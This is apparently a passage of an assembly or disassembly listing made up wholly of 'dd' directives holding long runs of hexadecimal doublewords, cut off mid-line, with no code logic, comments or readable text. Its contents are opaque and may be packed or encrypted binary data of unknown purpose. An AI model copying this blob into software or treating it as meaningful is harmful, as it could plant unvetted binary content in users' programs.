5287E81Ch dd 8DC13A28h, 45493735h, 0D921A041h, 0AFF46B65h, 381AD34Ch dd 0CA048137h, 6C436795h, 587F7081h, 0C210C0CEh, 6E00AC4h dd 6A30199h, 487D89E9h, 86BCB83Ah, 0C6295F43h, 0BBB91E1h dd 90180EA7h, 0B12633B2h, 40107196h, 3E0C103h, 37BFF05h dd 834D60FCh, 928B4974h, 0CAD49172h, 0BCD500B2h, 31F0C57h dd 166CE381h, 0F7E35D92h, 0E95B7206h, 932CEAD1h, 53EA86Ch dd 55535E54h, 0A0C56BDh, 81CE972Bh, 16919635h, 47BF3003h dd 0EFC58080h, 5EB34E1h, 0C50C257h, 0FA69C2CAh, 5089B88h dd 5C70ADE9h, 0C4312892h, 98436240h, 0EF5859D8h, 7A378166h dd 33312BFDh, 87337A88h, 2424483Ah, 0C0B72731h, 498ABEE2h dd 0F342D749h, 22C64F8h, 56E08950h, 0E44AE7E9h, 68146BCCh dd 0D3CD463Ah, 0C6FEE303h, 41019280h, 84424EA8h, 0C15E047Ah dd 83D3BCBDh, 4596648h, 2CF88154h, 0E52C93D2h, 0E7C86883h dd 12A4CB4Fh, 2E86CC61h, 0E61CC330h, 84F65B8Fh, 0F8AC7D55h dd 36FC1C77h, 0BD3680E3h, 22BA6C91h, 95F53181h, 6402E90Dh dd 0AC3FB88Bh, 5754006Eh, 0B70A53BFh, 6FE9787Fh, 66EF201Ch dd 23B55160h, 19FACDFEh, 0A093AA9Ah, 0E9C10621h, 0D148E778h dd 7B95EE7Ah, 19E232EAh, 3311C72Dh, 0DA312D30h, 0B2410D06h dd 0B12B8028h, 0F6C9FE74h, 0E0F5F7D1h, 8540B232h, 28118A0Ah dd 2B0CA383h, 6717E2A4h, 0CB040156h, 80053DFDh, 0CFDF05F4h dd 31D84FDAh, 66F453D6h, 0CE8306FAh, 84133EBh, 0D2C7F408h dd 0FC883AC7h, 2AC1E125h, 149DF503h, 0D67E8C57h, 94B0B20Ch dd 14F3D050h, 1804068Eh, 0E6CEAE9h, 3C608EAAh, 2496886Ah dd 0E0D60849h, 0E8295C87h, 0D42661B9h, 51162EDFh, 7A8549A8h dd 2D2DD1B8h, 20A6F5BAh, 8E9A8EC2h, 13875B25h, 0D9A619CFh dd 28B9450Ch, 59CE84EFh, 0DE16F8A6h, 3D54545Bh, 3B1A6028h dd 0D805221h, 36D484BDh, 0CD690131h, 0B5B08888h, 580BC392h dd 0B918AAADh, 452D0514h, 2B892805h, 5016EB5Ch, 0BFE1F00h dd 0FC4E412Fh, 3B31FE6h, 0D6F70B44h, 80B69A07h, 0F0894004h dd 0E0C1E93Fh, 50AFB19Dh, 60CC5888h, 0D541DC90h, 68B40447h dd 12005C0Bh, 9C54A92Dh, 0E0F80B5Bh, 0BA00FA53h, 2D063EAFh dd 0B8005042h, 62606CF6h, 2CE9C231h, 0B0A222B3h, 0D7875A2Ch dd 0FD51ACF6h, 644626C1h, 3885C0Dh, 0A3E91053h, 0BB52267Eh dd 0BB1500E9h, 16A132BDh, 418CE967h, 0AF0F66A9h, 9C51D0C8h dd 1987C4C9h, 812D2813h, 5D646C12h, 0A31E9828h, 54296857h dd 4B00311Bh, 0BF029A12h, 6E2502ADh, 4FC5E94Ch, 163CC7A4h dd 46BF0149h, 1FA31FE4h, 0FE010A0Ch, 1B0820C1h, 0F234335Fh dd 35A41D9Ch, 53A86841h, 36C35138h, 45B0A23Ah, 80AEDC1h dd 0BC29AE68h, 180DE963h, 24D5F78Bh, 2AF64504h, 82286896h dd 5DC44C94h, 47067AC0h, 59180FEBh, 940E821h, 53E2D1C2h dd 0E1555228h, 0C1794C0Bh, 11320B62h, 722D04AFh, 0EEBA0CD8h dd 4D072B04h, 0EFC2EA31h, 81CBE887h, 0CA280FF7h, 1764B8C4h dd 6445B522h, 8416D1Fh, 0B09DD024h, 54D3FE07h, 64A9D114h dd 0C201C6D0h, 8EAEA170h, 0A20D27F7h, 66513A13h, 0E7895785h dd 0A816E208h, 0A0DAA667h, 1F15059Bh, 15E9088Dh, 581E1F78h dd 0A8DE9555h, 3F402F48h, 0F55AD4CAh, 0B420CC00h, 0D6EB817Bh dd 7A762178h, 1E8EF306h, 0F4187869h, 1F3EF0CDh, 0C05BDF89h dd 641376E7h, 0C1774F1Ch, 0F820C4B0h, 0C8281260h, 16C58859h dd 0EBA90B60h, 76040D38h, 3CCB073Dh, 31216043h, 24C2E94Bh dd 0C51C01BEh, 4D28358h, 24600D8Dh, 0CD73E102h, 5EE3E9C3h dd 0DEC96703h, 0B01A793Fh, 6D31EC1h, 0D2E9A287h, 881C2235h dd 75FF51D0h, 9E33CF7Ch, 0B9CA7B5Ah, 64A94D45h, 69C46F68h dd 4C67F357h, 1B0B2431h dd 3F0C6861h, 778A073h, 9E25E1Ah, 343B898Bh, 5023904Dh dd 8644512Fh, 53C409F5h, 0D2824EADh, 0D8A7D9B5h, 0E08A74C1h dd 70168B4h, 586C6109h, 0F1CB4D95h, 4555888Bh, 72B36BC7h dd 534025CFh, 610E6BAh, 0B4A41C87h, 8F5E910h, 0F1C28000h dd 0E2C0D2F6h, 0EA050478h, 7F81E971h, 13012995h, 4F385007h dd 28FC688h, 1274EC95h, 686643CDh, 0C8CFA4A3h, 0A8206DD6h dd 2614CA27h, 9489F7D3h, 0E8C16281h, 697A9CC0h, 88C98691h dd 50163460h, 0C0833871h, 9E36C4DAh, 105C2C77h, 0EF810EF7h dd 3F62E73Bh, 6131DF92h, 0BD353E8h, 5AD62991h, 55F54A00h dd 0DFFE68FBh, 52F5CEB2h, 14787377h, 6B94A390h, 9179D347h dd 0A404CE00h, 75405C5Eh, 50C6905Eh, 65842402h, 44EC99DBh dd 0D58CC80Bh, 318984F0h, 723CABDAh, 0CD8792CAh, 903C595h dd 3B165368h, 5740224Bh, 0F919BF54h, 27683B9Ch, 389D8249h dd 258A72D3h, 573306BEh, 87FB29D1h, 0C7015E20h, 126A0583h dd 34224679h, 6081C19Dh, 0F18453D4h, 385D6FB9h, 55DCD87Ah dd 0DC31F754h, 0E845014h, 15E96920h, 68E08343h, 33AB6299h dd 8B9C23C5h, 846734C5h, 940B75BFh, 44E283F4h, 2754F534h dd 3D09FAB1h, 0F01C9C03h, 54F3CEBh, 0E9FFEF83h, 184DA1AAh dd 0D5522E5h, 272368DAh, 0CB8A2F04h, 0C40AC267h, 20349254h dd 9F900CC2h, 0C588CD70h, 0E54F00A6h, 0AB685F50h, 905BDFCAh dd 3EBB1702h, 44A400Eh, 26AABB8Ah, 0FCFFA8F9h, 6EED69C9h dd 0C3006D67h, 413756Bh, 2668EC01h, 62663A03h, 94581CE9h dd 425A0CB4h, 0D1234226h, 35680429h, 46D28D2Fh, 296951E8h dd 104B0C11h, 30E07FD1h, 0B25EE437h, 0C213FE86h, 3C08DAF6h dd 0E9F90202h, 3F44FDB4h, 41B47AECh, 0EA207A6Dh, 53A88D1h dd 2DC0880h, 66D4F65Bh, 5D63B353h, 30436FCFh, 0F89A58E7h dd 0E984D059h, 0A4CD7796h, 8265D130h, 0B02C2745h, 51A0772Ah dd 0DC62323Eh, 73109Ah, 415DBD55h, 292C770Fh, 88ECAAEEh dd 0CCA79BBAh, 1A2D33Ah, 54055D0Bh, 0ED7F985Ch, 73A02858h dd 784148B0h, 8757F468h, 894C226h, 93072BC9h, 893BDBF7h dd 0BB754095h, 824D1405h, 3406EF45h, 0C268A1Eh, 2251580Bh dd 68CA0027h, 0C129F606h, 836A970Ch, 8F24BC75h, 0BF0C2033h dd 821CE34h, 63439E9h, 2DD802F7h, 7B527FE8h, 3DC4FC42h dd 241E925h, 0E25159B5h, 72786A10h, 5A74FCF2h, 3B673618h dd 3583E924h, 0D01311B4h, 0B2FD9E28h, 895C50F7h, 673E1676h dd 20F0313h, 26905325h, 0D492D6Ah, 84695104h, 4B5EE977h dd 77D0F707h, 3D9A1982h, 7804C841h, 1255C82Eh, 0C13E80C7h dd 23F007E5h, 805FFFCAh, 3298FBFh, 6727A40Bh, 0B39342D9h dd 0E9244302h, 122D28E5h, 0D1198053h, 0B30A9012h, 20462673h dd 215B0B0Ch, 8E5FF9h, 0E18951E3h, 0D1EC31ABh, 140114ADh dd 5608931Eh, 38572C7Fh, 0F67A65D3h, 80A09CF5h, 0CB8E8264h dd 7FDAF801h, 443FF35Fh, 0AD7C53F6h, 82AD59E9h, 762D683Ah dd 50F9D519h, 0DEEB9BEh, 0A972022Ch, 5B702903h, 0E5F1A216h dd 1F1A095h, 77C879ECh, 340F89E9h, 8103CA23h, 2F5E8FEAh dd 7866EA1Dh, 0DDBB0921h, 4105AE53h, 0F7DC4708h, 61FB73DAh dd 2E5D702h, 610A9742h, 1AC0DDACh, 7FE91474h, 48B9A59h dd 7F80D06Ah, 17803A22h, 42E230CEh, 4001E87Fh, 0D439C6ECh dd 52102893h, 6F445E16h, 0EC47537Fh, 58E303B2h, 24F0F48Ch dd 80E82880h, 883C132Ch, 0CD5FB5C6h, 1F48EDB5h, 0F77553C7h dd 8BA5207h, 0A43F2663h, 0AC0256F4h, 0E9D5F716h, 5905492Bh dd 3D188DADh, 754AC668h, 5A974FCCh, 6A3247Eh, 1212EEE3h dd 5DC1382Eh, 45E6A71Eh, 8802B69Ch, 6A085AF3h, 5DAE40A7h dd 0FD442DE9h, 14402694h, 2A9E955Ah, 793E92Eh, 4AEAD187h dd 3D58EC8Fh, 6442FEF7h, 0CC66CB74h, 300002D7h, 0DDF658E5h dd 59E9C5FEh, 0BE003106h, 28D66A7Bh, 0F600814Eh, 1AF141A1h dd 4AE9CE31h, 88F11079h, 83887A53h, 534B8716h, 0C0EBE0C5h dd 2C0578EDh, 0A083EE3Ch, 41ACB9CCh, 14548E9h, 85DF4DB1h dd 0A9B924F0h, 202A3E11h, 7DB34A6Bh, 0D6898514h, 1EC30091h dd 1592D3Fh, 81CA98F3h, 0DA285E08h, 0A9468F0h, 65A5B6B1h dd 0A2BD003Fh, 0F770412Ah, 7BADD48h, 491B6603h, 746DE83h dd 74CE8106h, 60344720h, 2BC145C6h, 0F509C018h, 17A7E57Ch dd 7A5C02h, 0F053ED7Eh, 0FD0C01CEh, 6E3418E9h, 93E150C1h dd 0C4E3DBB1h, 3B70E4FAh, 51036084h, 7A6B6856h, 6609EBBh dd 0F37C9FF6h, 34030C0Fh, 89355315h, 4941F9F1h, 0EC42D240h dd 1AE03E4h, 324EE9CBh, 0F53E4C60h, 12367537h, 1514512h dd 9712587h, 0CEDF81Fh, 802DB303h, 405DE989h, 169FBD12h dd 9CD296Eh, 40463BCEh, 48A34AE7h, 0E7487390h, 0DACE2E95h dd 3D2C046Fh, 1ED909A4h, 0D728B747h, 0BA88808Eh, 480042A1h dd 5EAC16Ch, 0BD9F281h, 525D6706h, 6BAF0220h, 45BB2137h dd 74D6388h, 8230FF5Ch, 80EAC88Ch, 83699472h, 7E040013h dd 136A661h, 0E6CA814Ah, 306E2D75h, 0E1E8D491h, 0C3E91F0Ch dd 0A20130F1h, 6674AF83h, 80E7601Dh, 0B472B1E5h, 166422Dh dd 19352ED2h, 0BE03F9E5h, 82F8C280h, 49A451D3h, 808D6F24h dd 551568A3h, 280B02B3h, 0D604B8C8h, 0F0B3A61Ch, 11796F96h dd 2DBA16F0h, 81635F8Dh, 9775C3Ch, 43E95F5Bh, 0BD288E50h dd 0EE5A1002h, 54561704h, 51C61382h, 54659CE0h, 8816D7B4h dd 0A86CD06Ah, 6F2C935Bh, 0D71F3D41h, 213F4842h, 4329C2C1h dd 80BE0152h, 0F8289BEFh, 0ADD2BE5Bh, 59BE0399h, 582EBA52h dd 0F5BA0405h, 832F3E6Ah, 6FA0B54Ah, 0E54BD163h, 0AF40FCC7h dd 982B880Ah, 4E4D48DBh, 0A5C30700h, 5DEA299Fh, 1598FAE6h dd 5A3C710Bh, 0F4228537h, 0CF21A14Ah, 0CC77D42h, 4D58A6A4h dd 0FE5CC542h, 816A1308h, 8860C380h, 5B7924DEh, 646BFDFDh dd 7B912CA0h, 0BF2CDA17h, 0E680C50h, 906C6037h, 0C975D25Eh dd 54FD21A5h, 14B8578h, 0B964A99Dh, 35AC400Bh, 6F02B574h dd 1B04472Dh, 5CF28137h, 0E47167A5h, 5476E8EBh, 404E0FC7h dd 18B9235h, 0FC80E02h, 8F03E708h, 0D97EFD68h, 0FA514F21h dd 0E67D5919h, 4739884h, 0EFA05BE9h, 16C75BFh, 6F2D6582h dd 0FC34561Bh, 609E403Ah, 0FEAE5BEAh, 5A0CEE5h, 0A3989733h dd 7301E12Dh, 6852659Ah, 523C1D2Bh, 0FB18EDC1h, 30CAE117h dd 0AD80705Eh, 401E9051h, 0EE0B8002h, 2885311h, 34D47Ch dd 0F65BB252h, 0EA80D20Fh, 5AD5E587h, 59661BC0h, 87224AE9h dd 0C67A538Fh, 27D80A46h, 89F21853h, 7AA9DFBh, 5E393242h dd 0B5511616h, 0F716DEh, 80C1B362h, 87B35F3h, 0F6255B76h dd 0C62FC1D8h, 0E9F580EFh, 0A4074D4Dh, 7CE03325h, 0D42D153Ah dd 90B59448h, 2CEA025Bh, 5E9426Ch, 70289869h, 0EB3D802Ch dd 0E329614h, 3DF5A88Ch, 30FD6208h, 29B2EB3Fh, 89345BDAh dd 0EF5E2ED7h, 5575173Bh, 0DA02D08Dh, 322B59FBh, 71EA0512h dd 2C353860h, 0A6BEDE3Dh, 549B062Dh, 3712C9B5h, 0D830AC00h dd 25F06648h, 44B16242h, 0FDF5B894h, 15A6F38h, 8AF181FBh dd 0C81694EBh, 6DBF12D5h, 2F029992h, 0FD17D366h, 49FAC364h dd 3C42E883h, 24496814h, 6326247Ah, 3ED1835Fh, 9ED23CB7h dd 0D0C53858h, 0FEB32191h, 0EA27404Ah, 5E537B2Dh, 26F20126h dd 6CF30820h, 1687C8ACh dd 5257885Ch, 0BA26C55Eh, 25DDB351h, 9241A65h, 0E71D2F18h dd 99741636h, 0E3380B0Ch, 0C0DF3E24h, 72694116h, 390C3761h dd 0E9DD541Dh, 4422D4F1h, 0F431CC93h, 0CC20F06Bh, 4BFD72ECh dd 8A73162Ah, 0C85CCB75h, 803307D7h, 0D098D001h, 0CB58390Fh dd 5DE8000Eh, 4F95685Ah, 3D633154h, 0C50439h, 0CEB66E81h dd 0D857017h, 31249D91h, 6F0842D9h, 15C1347h, 756AAF7Fh dd 20463A70h, 2D7D2C07h, 189B5EF7h, 7269A5F1h, 7D072EA8h dd 4F999C01h, 4C8252E6h, 632B74D0h, 87F8DCE2h, 217F61Dh dd 0C2E910C4h, 41681490h, 201E926Eh, 0B80131A5h, 328E3860h dd 0B805C2Dh, 5558C289h, 2302B468h, 0C4E96F95h, 893D545Dh dd 0FA6E02B6h, 7965758h, 4DF04265h, 0D1E9CFE0h, 426EB6E3h dd 1B408156h, 181E5C35h, 0E946587Ah, 9B24C4EEh, 6B1927C6h dd 3E58F129h, 0EB084F53h, 81013D44h, 2E62D5E6h, 8579F11Bh dd 1D116831h, 0FBF1FCCh, 23DF2631h, 685FF900h, 859448A6h dd 813CF161h, 95CCC720h, 2D689881h, 0BF73363h, 0FE7EC1B8h dd 58C7017Ch, 3914E95Eh, 0D1C2029Dh, 5E457325h, 80AF9633h dd 5FFA31ACh, 2848051Fh, 2B120692h, 1208BE10h, 0B08F829h dd 43660E6Dh, 0BE86564Eh, 61746445h, 0C26BD99Ch, 0C134E8FDh dd 0F683C0F3h, 73165CA4h, 29842D07h, 4D506B53h, 1474AC26h dd 705F001h, 268A6B50h, 1BFB922h, 9A06FAC5h, 5E712446h dd 30E46810h, 159AA48h, 5FFB247Eh, 0F57E0034h, 0F3293D8Ch dd 0EA4F1698h, 0D4E9CAD3h, 3B1C1D1h, 0C93C70DDh, 96945A2Dh dd 1F0F1990h, 81651973h, 1D0818CBh, 5E71E9C8h, 0F8FE4413h dd 0B81F8CCAh, 7A37E574h, 3CC3E14h, 6CD72AE9h, 0AF681D92h dd 87242519h, 2961E079h, 175FFE24h, 837A5D02h, 17914317h dd 0C08DE904h, 26EAB8D0h, 1791C14h, 0B9014EF1h, 0C1465754h dd 0F7E402D9h, 440F31DCh, 2E4026ECh, 52CB9628h, 5B16CF59h dd 245A8DD1h, 714A94EDh, 887607CBh, 0F780C2A2h, 7D8E4D0h dd 6C02E525h, 0F64FE375h, 66031C55h, 656A7EB0h, 0BD03476Fh dd 0DA9AE298h, 274E7089h, 0ADC6EF88h, 664CF8E0h, 4AC61349h dd 8E570CDh, 0CD83172Fh, 10E522B6h, 31014DB3h, 0F8015AD7h dd 2E83765Fh, 0ACBEFE59h, 0EB1F37C3h, 5A4C1AA7h, 0ACE925FDh dd 0CE3C0409h, 66D2534Bh, 125D525Bh, 951C5F09h, 92D2D52h dd 1AC3A406h, 6EC1F70Dh, 5ED28A30h, 0F2883745h, 55481B34h dd 5B48DF29h, 58B50074h, 0E946363Ah, 63E4D66h, 0CB30F92Dh dd 6C2EC5E1h, 0C9006E7Eh, 0F61539Eh, 33BE6BE9h, 0FD7CA5C6h dd 3B671359h, 479B1045h, 8E0C10Ah, 30A30F8h, 6216682Dh dd 0E8D2405Eh, 7BBACA3Ch, 0DFE890B2h, 99C90C96h, 0E972603Eh dd 15B572F3h, 0D15C12BDh, 9F30FCC9h, 0FA52F827h, 0B601505h dd 833E01B7h, 3A1A9D76h, 51F43FBh, 8FBFB920h, 0A9A9C831h dd 0E6BB83E0h, 1C224A0Fh, 0A4AB6B57h, 0D987897Ch, 0A1902484h dd 0A3CF81h, 874BBB4Fh, 57D3F7DFh, 5B5F5316h, 0FC781600h dd 9031A0AFh, 0EA7D90DEh, 0B0644C10h, 78070528h, 0E9D80C5Fh dd 5356C916h, 1ADA5463h, 5C1070FEh, 9F39B7F3h, 522AC39Fh dd 51D74E1Ch, 0F920D4C9h, 737947BEh, 0CE814B01h, 61E31C9Bh dd 13C34A30h, 117894Ch, 18785869h, 5EF8DB45h, 60605D70h dd 685355B6h, 64050116h, 0EBC15B2Eh, 1B7B2006h, 3DB6E407h dd 89C9DD89h, 20EE7AA6h, 3E9869C9h, 7925D3A4h, 0C07AA058h dd 281E711Ah, 82F1DE01h, 0C5A80408h, 22A43EACh, 0D95408F3h dd 0EF26DA23h, 0F91B313h, 0ED11C05Bh, 3482E1C3h, 988933h dd 5FB0FBE6h, 0A0AB7E5Dh, 0B523DE68h, 505F7618h, 0DF09567Ch dd 0E0340E4Fh, 0F7D4BF4h, 0F08976FCh, 32902D20h, 3B9042F2h dd 6029E64Bh, 5BA21FE7h, 0C0EB0243h, 52F8182Dh, 0A9268F01h dd 0E9D9897Ch, 82EDA9F6h, 492405EEh, 47F5DFC5h, 213EA86Ch dd 86A85DFEh, 0B302B913h, 62CF4B7Ch, 991D229h, 8251BFCAh dd 3DD8103Ch, 948B5D27h, 0FDA69159h, 51354203h, 0E9FAC830h dd 2516942Eh, 0E4273EEDh, 4AFA91BDh, 53DA174Ah, 3E7A3242h dd 45001DF0h, 814AEA87h, 14406AE2h, 0BD42540Ch, 0BF222801h dd 2E91E917h, 885BAE03h, 0A098C2EEh, 5D72BDD6h, 0BF77004Dh dd 0A280BEB8h, 60F5EF01h, 631D4F8Bh, 0E787472Ch, 67A17E1Fh dd 4DA48EE9h, 0A8454C6h, 20B8376h, 98585450h, 4DB8E0h dd 2D7BBB48h, 6ADC16F9h, 8100B69Eh, 0F20A1EF1h, 5E9EC1Bh dd 7E1D48AAh, 1214C429h, 8445A2A1h, 86E07CE9h, 9BC50280h dd 0A9B75351h, 3FA2E61h, 6E1A395Ah, 28CDF580h, 525159EBh dd 327B227h, 0FBC5FEACh, 9BC0E3E5h, 22304C05h, 0D29C2A6Fh dd 2ED4C796h, 4F510BBh, 16FB79CEh, 0C95DE483h, 287875B2h dd 12DF3D9Eh, 0F5EA2905h, 28B7D73h, 2D501F42h, 7F187021h dd 0AC1991FCh, 2B8B2744h, 822F995Bh, 0D154EB35h, 0D494379Bh dd 6208E245h, 942C1894h, 0F93341D6h, 0E7E7D46h, 96166768h dd 3EED6FF4h, 2A5CC828h, 0A30402C7h, 35AE27E9h, 13C13148h dd 0A1CE760Dh, 4630680Eh, 44E659CBh, 53B73505h, 878075ABh dd 0C7D3E905h, 74C00943h, 0B129B01Dh, 8651B839h, 66C9805Fh dd 1E04761Ch, 7DFE82F1h, 1BEEC19Ch, 8A9EC4CBh, 82D21842h dd 8CB1A4FBh, 6A9D305Eh, 0C2B393BDh, 0E91ACB5Dh, 3938BDD1h dd 8F3280D2h, 1E5DD405h, 69E9088Ah, 70082861h, 98C35EF7h dd 5C9C9196h, 4BC7BE1Eh, 68A22E71h, 31B5D908h, 9353588Dh dd 0D456543Bh, 2B344F16h, 55C3BCD4h, 0EADF0527h, 0C056D369h dd 842C68Ch, 292EF201h, 5D0E9D6h, 0B6E7F997h, 0C71B8414h dd 997665F3h, 0ECE40B77h, 153CBD79h, 8BA47471h, 919258D2h dd 0C3656965h, 253EC6C9h, 586C0AE9h, 1B685212h, 8E875850h dd 1B817583h, 4EC70AF6h, 0A65D53D2h, 0F4C72A3Dh, 163C14BEh dd 0E4F2FDF2h, 46C9680Bh, 3BE95718h, 5120C360h, 74F6C588h dd 59E80FD5h, 0DEE9140Ch, 60DE1B32h, 2F9E7B52h, 72E92BB8h dd 4B54FB2h, 52AD6Dh, 7785C7B3h, 0EFFA5FABh, 0A4124760h dd 0B0BA0156h, 594B71Dh, 0BB927A93h, 3D6E23F1h, 64B7A08h dd 2C62DAD7h, 0EA6DBF7h, 0AFCB734Eh, 0D0F69778h, 15E9481Dh dd 40D0EAADh, 72166115h, 5EDECAAh, 2E95575Fh, 0C572A85Eh dd 2EF1E0E9h, 899F3372h, 0FFD1786Bh, 88A3B780h, 1A865BFEh dd 8D0F6C6h, 0B8B6DA8Ah, 0B2CF013h, 49A76330h, 0DF4BFE46h dd 0F901EF20h, 0DFD3BA52h, 46C1DDB5h, 0AC482026h, 901C05Ch dd 0CC840FC9h, 0D70A3259h, 18563281h, 0B900510Ch, 19530CF2h dd 0AE18149h, 2A26354Eh, 145800EAh, 0D9F7134Ah, 19CD1CC1h dd 53600D3Ch, 30012444h, 94324FDh, 0A16A4F29h, 574494F1h dd 0EA8791F0h, 84554E0Fh, 5F0705E6h, 0E94BC129h, 0E4A1C64Dh dd 82D1F7D9h, 5B6A8B26h, 31F34170h, 22B83500h, 0A003D45Eh dd 0D1D8F705h, 0D1DC0A48h, 0B2B8D831h, 8AD56849h, 0CF7B101Eh dd 0EABA805Fh, 0E2260A4Dh, 0C2073C7Ch, 29517B73h, 632A5EF2h dd 6E45A4Fh, 0F38C201h, 7CB63C49h, 1AD8A1AFh, 2788F64h dd 0DBB3024h, 535F5DC4h, 89B45EAh, 0C7AE80CFh, 0E778C0B4h dd 8D64F7ECh, 0C7835712h, 0F3CE92F9h, 0F03001ECh, 6B2209E9h dd 0D8B25B65h, 49538A96h, 5EF084AAh, 0B21ACB4h, 2CD5E9E8h dd 8E3C2572h, 3C01AC80h, 0D186FE07h, 0CF08CA36h, 0C149CB12h dd 40BEC104h, 0E06DD2C3h dd 0E7AA92F9h, 2A1E528Ch, 570FF78Bh, 66265C64h, 909508C8h dd 27A52709h, 3DD216B9h, 0BA8D1015h, 5300E648h, 7234C7BBh dd 0CB0F810Eh, 1DF269A7h, 372CE380h, 0EDC10BB4h, 6F31430h dd 8550191Ah, 0C0029E43h, 0E944315Bh, 34574E3h, 0C230D7B0h dd 6A168CC9h, 0EB2B077h, 0E37A3Ah, 28811A9Dh, 0AC511DB8h dd 0D8297A16h, 0C0DA7D1h, 5DE5D02h, 0DDBF5700h, 243C2769h dd 1A69FB29h, 0B0986EBh, 0CE827A49h, 0F345F06h, 65AC0B63h dd 4942108Bh, 0C8A717D1h, 0D315E6DDh, 5C91E310h, 0A97E898Dh dd 84D43217h, 7BBC497Ch, 6517C4h, 6678BCB9h, 0B6BA9204h dd 0C6016378h, 7CB48000h, 226830F8h, 6929B638h, 0E92DB3D2h dd 0B9058143h, 0B12403FCh, 0FE31528Fh, 9F9D4100h, 19A02D40h dd 572C402h, 873211BDh, 7CAF8A5h, 0C0AEE909h, 26478FCBh dd 795820h, 3E552A09h, 0E9F45729h, 8B34A233h, 0E4C6BCE0h dd 75ED016Bh, 29121455h, 0DE620FDh, 452C231Fh, 0CD98EE81h dd 177E3317h, 0C32E44C0h, 90D41441h, 3CC784EBh, 51783109h dd 8554EA3Ch, 0F2015CB0h, 4D6F6583h, 0D6015C20h, 3113A6F7h dd 0F5F842FEh, 681293D8h, 0A9A30946h, 0E921A0D3h, 29B5DDE2h dd 0A37098C7h, 5A5480CDh, 2D4A5178h, 63F2D490h, 1967FE2Fh dd 0A0D33158h, 0B8407EC6h, 0F9E9DE01h, 38279572h, 3C1E005Ch dd 2CC1D509h, 220B62E5h, 0E9949A50h, 8DAB5831h, 8C099C48h dd 5928013Ah, 5F882808h, 50092043h, 89BDD488h, 497B7903h dd 34C05B0Fh, 2CE95A87h, 0F435434Bh, 0D77A4245h, 32C1DEDh dd 37BD9351h, 0E85DB450h, 99155D47h, 1FAAC30h, 36136B68h dd 6A420070h, 0EE836CA6h, 85F75001h, 0E7594A2Eh, 0B86110C7h dd 88A7B100h, 0C62859C8h, 0B62C3790h, 0BA32C579h, 0BAC1A5B2h dd 4FB74C50h, 31E9FD8Ch, 5C1C1EC0h, 3258DD55h, 57CD027Ah dd 80113C72h, 504BD9C2h, 1314044h, 0F0E9EF09h, 2CD75136h dd 41EC42D0h, 0A9E96AA1h, 0B8716B4Dh, 5F28CB19h, 0D24E994h dd 58546233h, 63FBE6C0h, 8313C205h, 0DA8001C1h, 0E23F2F39h dd 9F025DE9h, 50C32800h, 0C480C5B4h, 3222794Ch, 0C2DD975Fh dd 46D42B95h, 821F4B81h, 9CE0B72Dh, 6795696Dh, 15403B9Ch dd 9D450940h, 2588D18Fh, 0DDBACA28h, 8F59B781h, 6033B029h dd 0EFC058C7h, 0D7F60C03h, 99A65250h, 9BE28825h, 30F2D0A6h dd 1042DDD4h, 0C32D0314h, 0DF1BF16Fh, 78895C6Ah, 0AAC279BAh dd 1A9A8649h, 0BD6BBCE9h, 5CC2B9E8h, 1796BB80h, 1F73EC16h dd 18050B1Ah, 3AC962D2h, 0AD2860ABh, 2CD85B31h, 0CD7EDDAh dd 0E912DAE7h, 0BBC08151h, 48B33065h, 0CBF1AF97h, 4130E2E2h dd 46605F93h, 0D8780BC0h, 0B4012102h, 3973E0E9h, 16F7581Dh dd 0A8300638h, 484AE956h, 0CDEC00Ah, 0F0BB3772h, 9A92055Fh dd 0CEC5685Eh, 769A2512h, 0AB68BC01h, 6653B2Ah, 4DFC6701h dd 832B3447h, 0F48F9E5h, 69AB0160h, 0D7011C4Eh, 8008D31h dd 0BF33EDE9h, 9D2DA194h, 2B7E3AE1h, 0B268D3EDh, 345A3A42h dd 29CFC9EFh, 3B421A7Ah, 83F8C1D5h, 9F667CFEh, 8D74D65Ch dd 1BDEF841h, 65699A94h, 1D602D97h, 0B3C06923h, 1A196CC1h dd 0DB295CD8h, 5FFA3E73h, 302DCA02h, 157493Fh, 622868FFh dd 0D1CC332Ah, 0D587DFF2h, 331798FAh, 1A59BB54h, 8B98B61Dh dd 5BF7C4D7h, 5B080B32h, 0F3B1F3F8h, 58C21925h, 0ACC32C3Eh dd 642496B4h, 0EE801A00h, 95CEFE14h, 716E143h, 10A0E1E9h dd 43D1605Fh, 0F5CF274Ah, 77012D05h, 71C20B8Ah, 5B078005h dd 52FE6859h, 16706E19h, 143FA796h, 0E9841CB5h, 7F5FF138h dd 1C5AF32Ch, 0CE8EC380h, 2134CEBh, 968E93Eh, 5551C2FCh dd 91280F0h, 0A7E9412Eh, 585BA0D8h, 0A4BE1BCCh, 16EB9A9Bh dd 2E5C1h, 86E1C5F8h, 2904255Ah, 54E95DEEh, 8A25D1B8h dd 882CCB78h, 736BF95Ch, 5D0E0846h, 0EE8D541Dh, 462B62D5h dd 10B54386h, 0B2BC5D62h, 0D6F70006h, 4FB8464Eh, 0A8304D41h dd 6C767023h, 0B8293625h, 9571E800h, 0DD8F756h, 933E0310h dd 2645E914h, 25A2224Bh, 0D54A0691h, 0B4B5F811h, 276BC6h dd 0F6803DB6h, 8BF40852h, 6121144Bh, 0BE84EA33h, 0C11C4709h dd 7BB4DB5Dh, 8EEB973Ch, 20915C55h, 3613F102h, 10F60ADh dd 32CBEC2Bh, 712800CAh, 0DA871DEAh, 0E912D3F7h, 7FE4C912h dd 21685841h, 0BA3212Eh, 44712F5Eh, 9448DA89h, 0C8852C12h dd 0A9871ADAh, 9791D189h, 166B3256h, 0DEB24807h, 2FA4E789h dd 5AC08C56h, 2F5C351Dh, 66CC231Eh, 0DF572D37h, 89871761h dd 7F213C83h, 1BC6C94Eh, 41CD950Eh, 51E6CA09h, 27284A63h dd 49C31868h, 6F91511Eh, 0FD930AD3h, 0B050D0D8h, 4AA0901Ah dd 7D1BCBF7h, 0FB66EB20h, 40244160h, 9790293Eh, 50165F4Ch dd 28F319EFh, 257DDF69h, 0C71BA02Ah, 4C7C2F95h, 0E82D8C28h dd 77B7513h, 0C20C7D29h, 1C5F2141h, 0BF868639h, 0CF0CD5B3h dd 7EEB3E62h, 6F50417Dh, 30F63D04h, 2ECC042h, 59841h, 247967BEh dd 0F0B43FDh, 0BCE2869Dh, 357470E9h, 257EBA0Eh, 328454BFh dd 0AE5184C0h, 6962C82Fh, 8EC5919h, 0CA08004h, 5D078322h dd 8103E1C1h, 19105FF0h, 607B90ECh, 18EFD54Ah, 1716937h dd 252CCF7Dh, 38A4DCC4h, 3B75FE02h, 88186010h, 0AF8261h dd 5712B7F5h, 0F9460851h, 506E228h, 59A3A45Ch, 41B7025Eh dd 0C70128AEh, 2A08B788h, 